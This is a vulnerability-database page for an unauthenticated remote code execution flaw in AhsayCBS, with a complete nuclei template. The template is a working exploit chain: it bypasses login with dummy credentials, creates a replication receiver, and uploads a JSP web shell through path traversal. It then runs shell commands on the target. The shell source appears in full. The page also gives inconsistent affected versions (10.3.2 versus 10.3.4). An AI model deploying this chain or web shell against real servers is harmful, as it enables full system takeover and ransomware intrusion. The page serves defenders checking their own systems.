HexBrain

Browse / CVEs / CVE-2026-105134

CVE-2026-105134· ahsay / ahsaycbs· CWE-22

AhsayCBS <= 10.3.4 - Unauthenticated RCE

Exploited in the wild. Listed by CISA on 2026-10-14; known to be used by ransomware.

criticalseverity
10CVSS score
81.8%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Ahsay AhsayCBS <= 10.3.2 contains a command injection caused by manipulation of the \"random\" argument in /rps/api/json/UpdateReceivers.do of Replication Receiver, letting remote attackers execute OS commands, exploit requires crafted request

Impact

Remote attackers can execute arbitrary OS commands, potentially leading to full system compromise.

Fix

Upgrade to version 10.3.4.

How to confirm it

Send: POST /obs/api/json/ListSystemUsers.do
Positive when: status_code == 200 and contains(body, "\"Status\":\"OK\"")
Send: POST /rps/api/json/ListReceiver.do
Positive when: status_code == 200
Send: POST /rps/api/json/UpdateReceivers.do
Positive when: status_code == 200 and contains(body, "\"Status\":\"OK\"")
Send: PUT /rps/obs7/rpsfile/upload
Positive when: status_code == 200 || status_code == 201 || status_code == 204
Send: GET /rps/{{shell_name}}?auth={{shell_secret}}&cmd=id
Positive when: status_code == 200 and regex("uid=\\d+\\([^)]+\\)", body) || contains_any(tolower(body), "root", "system", "nt authority")

Run it with nuclei: nuclei -id CVE-2026-105134 -u <target>

The full check
id: CVE-2026-105134

info:
  name: AhsayCBS <= 10.3.4 - Unauthenticated RCE
  author: 0x_Akoko
  severity: critical
  description: |
    Ahsay AhsayCBS <= 10.3.2 contains a command injection caused by manipulation of the \"random\" argument in /rps/api/json/UpdateReceivers.do of Replication Receiver, letting remote attackers execute OS commands, exploit requires crafted request
  impact: |
    Remote attackers can execute arbitrary OS commands, potentially leading to full system compromise.
  remediation: |
    Upgrade to version 10.3.4.
  reference:
    - https://horizon3.ai/attack-research/attack-blogs/ahsaycbs-cve-2026-105133-cve-2026-105134-technical-analysis/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-105134
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-105134
    epss-score: 0.81763
    epss-percentile: 0.99648
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 5
    vendor: ahsay
    product: ahsaycbs
    shodan-query: http.title:"/cbs/Logon.do"
    fofa-query: body="AhsayCBS" || body="/cbs/Logon.do"
  tags: cve,cve2026,ahsaycbs,rce,traversal,webshell,unauth,kev,intrusive,vkev

variables:
  recv_user: "rps{{rand_text_alpha(8)}}"
  recv_pass: "{{rand_text_alpha(8)}}"
  recv_dir: "/usr/local/cbs/rpsrecv_{{rand_text_alpha(8)}}"
  shell_name: "neo{{rand_text_alpha(8)}}.jsp"
  shell_secret: "{{rand_text_alphanumeric(8)}}"

flow: |
  if (http(1) && http(2) && http(3)) {
    if (http(4)) {
      http(5);
    }
  }

http:
  - raw:
      - |
        POST /obs/api/json/ListSystemUsers.do HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"FromServlet":"Y","SysUser":"x","SysPwd":"x"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"Status\":\"OK\"")'
        condition: and
        internal: true

  - raw:
      - |
        POST /rps/api/json/ListReceiver.do HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"FromServlet":"Y","SysUser":"x","SysPwd":"x"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - raw:
      - |
        POST /rps/api/json/UpdateReceivers.do HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"FromServlet":"Y","SysUser":"x","SysPwd":"x","Id":0,"ReplicationEnabled":true,"LoginName":"{{recv_user}}","Password":"{{recv_pass}}","Alias":"sys","SystemHome":"{{recv_dir}}","ObsVersion":1,"RestorePointInterval":0,"RetentionCustomizationPolicy":0,"CrcEnabled":false,"CrcHour":0,"CrcMinute":0,"V6ReplicationEnabled":false,"MigrateFromV6":false,"ListenHost":"","ListenPort":0}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"Status\":\"OK\"")'
        condition: and
        internal: true

  - raw:
      - |
        PUT /rps/obs7/rpsfile/upload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/octet-stream
        X-RSW-Request-0: {{base64(recv_user)}}
        X-RSW-Request-1: {{base64(recv_pass)}}
        X-RSW-Request-2: {{base64("../../webapps/rps")}}
        X-RSW-Request-8: {{base64("0")}}
        X-RSW-Request-11: {{base64("../../webapps/rps")}}
        X-RSW-Request-12: {{base64("false")}}
        X-RSW-Request-13: {{base64("false")}}
        X-RSW-Request-14: {{base64("false")}}
        X-RSW-custom-encode-path: {{base64(shell_name)}}
        X-RSW-custom-encode-size: {{base64("1024")}}
        X-RSW-custom-encode-includeChecksum: {{base64("false")}}
        X-RSW-custom-encode-includeLastModified: {{base64("false")}}

        <%@ page import="java.io.*"%><%if(!"{{shell_secret}}".equals(request.getParameter("auth"))){response.sendError(404);return;}String c=request.getParameter("cmd");if(c!=null){boolean w=System.getProperty("os.name","").toLowerCase().contains("win");String[]cc=w?new String[]{"cmd.exe","/c",c}:new String[]{"/bin/sh","-c",c};Process p=Runtime.getRuntime().exec(cc);java.util.Scanner s=new java.util.Scanner(p.getInputStream()).useDelimiter("\\A");out.print("NEOOUT:");out.println(s.hasNext()?s.next():"");out.print(":NEOEND");}if("1".equals(request.getParameter("rm"))){try{new File(application.getRealPath(request.getServletPath())).delete();out.print("[self-removed]");}catch(Exception e){out.print("[rm-error]");}}%>

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 201 || status_code == 204'
        internal: true

  - raw:
      - |
        GET /rps/{{shell_name}}?auth={{shell_secret}}&cmd=id HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'regex("uid=\\d+\\([^)]+\\)", body) || contains_any(tolower(body), "root", "system", "nt authority")'
        condition: and

    extractors:
      - type: regex
        group: 0
        regex:
          - 'uid=\d+\([^)]+\)\s+gid=\d+\([^)]+\)'

References

Use this check only on systems you are authorised to test. Where the data comes from